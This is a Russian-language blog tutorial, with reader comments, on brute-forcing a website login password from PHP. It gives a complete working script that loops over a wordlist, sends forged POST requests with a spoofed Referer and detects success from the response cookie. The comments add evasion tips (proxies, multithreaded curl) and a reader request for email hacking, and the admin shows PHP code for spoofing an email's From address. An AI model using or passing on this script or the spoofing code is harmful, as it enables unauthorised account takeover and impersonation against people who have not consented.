Сокеты, взлом пароля брутфорсом, подделка Referer

В этой статье я расскажу как отправлять данные из php скрипта методом POST (как это делает обычная html форма) а так же как использовать подделанные запросы для брутфорса. Взламывать будем пароль пользователя через форму логина. Брутфорс (от англ. «brutal» — грубый и «force» — сила) подразумевает подбор пароля тупым перебором возможных вариантов пароля. Для этого существуют специальные словари на несколько тысяч слов. Обычно это текстовый файл, где каждое слово записано с новой строки.

// читаем словарь и заносим всё его содержимое в массив $file
$file = file($_SERVER['DOCUMENT_ROOT'].'/brut.txt');
foreach ($file as $password) {
    // проверяем каждый пароль ($password)
    // совпадает ли он с истинным паролем пользователя
}

Внутри цикла открываем соединение с сервером.
$fp = fsockopen('www.site.ru', 80, $errno, $errstr, 30);
В качестве параметров этой функции указываем хост для соединения (www.site.ru).
Затем порт (80), как правило другой номер порта используется редко.
$errno и $errstr получают установки, указывающие фактический уровень системной ошибки, в случае ошибки соединения, особой необходимости в них нет.
И последняя цифра (30) - это таймаут соединения, то есть сколько секунд будет ждать скрипт установки соединения. Если в течение 30 секунд не удалось установить соединение, то выдается ошибка о неудачном соединении.

Нужно изучить html-код формы и сформировать переменные и их значения, которые будем отправлять. Для этого составляем обычную строку, в которой прописываем переменные по тому же принципу, что и при передаче переменных в ссылке. Например:
$data = 'do=login&username=ekimoff@mail.ru&password=fuckoff'
В данном примере используются 3 переменные
1. do = login
2. username = ekimoff@mail.ru
3. password = fuckoff
Можете продолжать список переменных, разделяя их символом амперсанда "&".

Затем формируем HTTP-заголовки (тип запроса, данные о браузере, реферер).

$headers  = "POST /login.php HTTP/1.1\r\n"; // POST-запрос для login.php
$headers .= "Host: www.site.ru\r\n";
$headers .= "User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1\r\n";
$headers .= "Referer: http:// www.site.ru\r\n"; // подделка Referer
$headers .= "Content-Type: application/x-www-form-urlencoded\r\n";
$headers .= "Content-Length: ".strlen($data)."\n\n";
$headers .= $data."\n\n";

Отдельное внимание стоит уделить подделке реферера. Реферер показывает с какого адреса пришел запрос. Логично, что запрос должен придти с того же сайта, откуда мы отправляем данные формы. Однако реферер отсылает браузер пользователя и поэтому проверка на стороне сервера может лишь отсеять небольшую часть хакеров. Подделать реферер довольно просто: "Referer: http://www.site.ru\r\n".

В полученном ответе сервера содержатся заголовки и html-код документа

// получаем ответ
$line = '';
while (!feof($fp)) {
    $line .= fgets($fp, 1024);
}
echo $line; // ответ сервера

тут может быть 2 основных варианта:
1) авторизация прошла успешно
2) ошибка авторизации
Увидеть это можно в ответе сервера (echo $line). Т.е мы должны отправить серверу 2 запроса: с верными и неверными данными. Проанализировав оба ответа можно узнать как должен выглядеть ответ сервера при верном пароле. Например, в полученном ответе сервера переменная cookie password не должна быть равна «deleted». Как только это условие выполняется, значит, пароль подобран, и мы можем смело завершать цикл.

if (!strstr($line,'password=deleted')) {
    echo 'password: '.$password;
    break;
}

Полный код

<?php
$file = file($_SERVER['DOCUMENT_ROOT'].'/brut.txt');
foreach ($file as $password) { 

    // открываем сокет на хост www.site.ru
    $fp = fsockopen('www.site.ru', 80, $errno, $errstr, 3000); 

    // Проверяем успешность установки соединения
    if (!$fp) {
        echo $errstr.$errno; // вывод ошибки
    }
    else {
        // переменные
        $data = 'do=login&Submit=submit&username=ekimoff_sd@mail.ru&password='.$password; 

        // заголовки
        $headers  = "POST /login.php HTTP/1.1\r\n"; // POST-запрос для login.php
        $headers .= "Host: www.site.ru\r\n";
        $headers .= "User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1\r\n";
        $headers .= "Referer: http://www.site.ru\r\n"; // подделка Referer
        $headers .= "Content-Type: application/x-www-form-urlencoded\r\n";
        $headers .= "Content-Length: ".strlen($data)."\n\n";
        $headers .= $data."\n\n"; 

        // отправляем HTTP-запрос серверу
        fwrite($fp, $headers); 

        // получаем ответ
        $line = '';
        while (!feof($fp)) {
            $line .= fgets($fp, 1024);
        } 

        unset($headers);
        fclose($fp); 

        if (!strstr($line,'password=deleted')) {
            echo 'password: '.$password;
            break;
        }
    }
}
?>

Скорость брутфорса не велика и успех зависит от сложности пароля и используемого словаря.

#1

Ну, если ответ сервера не считывать полностью, т.е. while (!feof($fp)){ и т.д., т.е. если подтверждение удачного логина находится не в самом конце http пакета, то можно скорость увеличить значительно за счет снижения трафика))

Seriy, 31.07.2008 - 20:33
#2

Кисловато.
Любой мало-мальски толковый хостинг тебя в момент забанит, не говоря уже защите в скрипте.
Правильный брутфорс - только через elite+ прокси.
Для увеличения скорости сканирования лучше пользоваться curl в многопоточном режиме.

houligan, 13.08.2008 - 16:20
#3

Для брутфорса использование PHP далеко не лучшая идея

Raz0r, 1.02.2009 - 01:44
#4

Raz0r, посоветуете что получше?

admin, 1.02.2009 - 01:45
#5

Python

Raz0r, 1.02.2009 - 14:06
#6

Была не была, попробуем...

Дрю, 3.03.2010 - 09:23
#7

скажите пожалуйста,всюду предлогают взлом почты за деньги..и не очень маленькие...а есть где-нибудь или кто-нибудь кто сделает это без денег?(просто мне очень нужно,а за деньги я уже заказывала,но деньги отправила ,а в ответ тишина)спасибо и извините

крис, 25.05.2010 - 11:31
#8

Взлом почты за деньги в 90% случаев - лохотрон. Как это работает. Мошенники якобы взламывают почту, отправляют тебе письмо с этого ящика, ты платишь деньги, мошенники исчезают.

Как они отправляют письмо с ящика? Это легко подделать. В PHP это делается так:
Функция mail(to,subject,message,headers) имеет четвертый параметр "заголовки письма"
если прописать
$headers ="Content-type: text/html; charset=utf-8 \r\n";
$headers.="From: ".$mail." < ".$mail.">\r\n";
$headers.="Subject: $subject \r\n";

то в обычном почтовом клиенте письмо действительно придет как бы с ящика $mail.

При этом вряд ли кто обратится в милицию, раз он сам хотел совершить преступление (взлом почты).

Напомнило момент из фильма "Карты ,деньги и два ствола" про резиновые члены для гомосексуалистов:
- Ну дадим рекламу в интернет, что наши члены самые длинные и первоклассные. После получения денег высылаем письмо, "Извините наша фирма закрыта, свои деньги вы можете получить в банке по чеку. И подумай, кто потом захочет, чтоб из-за 25$ узнали, что он любитель пощекотаь свою задницу.

admin, 25.05.2010 - 13:43
#9

Отличный сайт, Я хоть и чайник но узнал много интересного и рад что пришел.

Рустик, 3.09.2010 - 14:43
#10

отличная тема, есть что почерпнуть.

neon, 24.12.2011 - 13:04
#11

О всемогущий !!!! спасибо за статю ! я все понял!
,,прям все дословно написанно - как на лодони,,

Тайный Мастер, 6.02.2012 - 01:06
#12

Скажите а при помощи только javascript можно подделать реферер?

балабол, 4.09.2012 - 00:04
#13

нет.

admin, 5.09.2012 - 07:08
#14

здрасте, скажите, были ли удачные попытки взлома страниц с помощью этого брута? просто могут быть сложности я аякс, колличеством не правильных попыток, с баном по айпи на уровне айпи таблес, с капчей....

yurecnt.ru, 15.11.2015 - 20:36
#15

зависит от сайта. крупные сервисы так брутить не получится - у них защита сработает.

я в логах у себя постоянно наблюдаю брут сайтов на Wordpress (через страницу /wp-login.php). видимо есть успех на каких-то сайтах. у многих ведь пароли из серии 12345.

admin, 16.11.2015 - 20:57
Оставить комментарий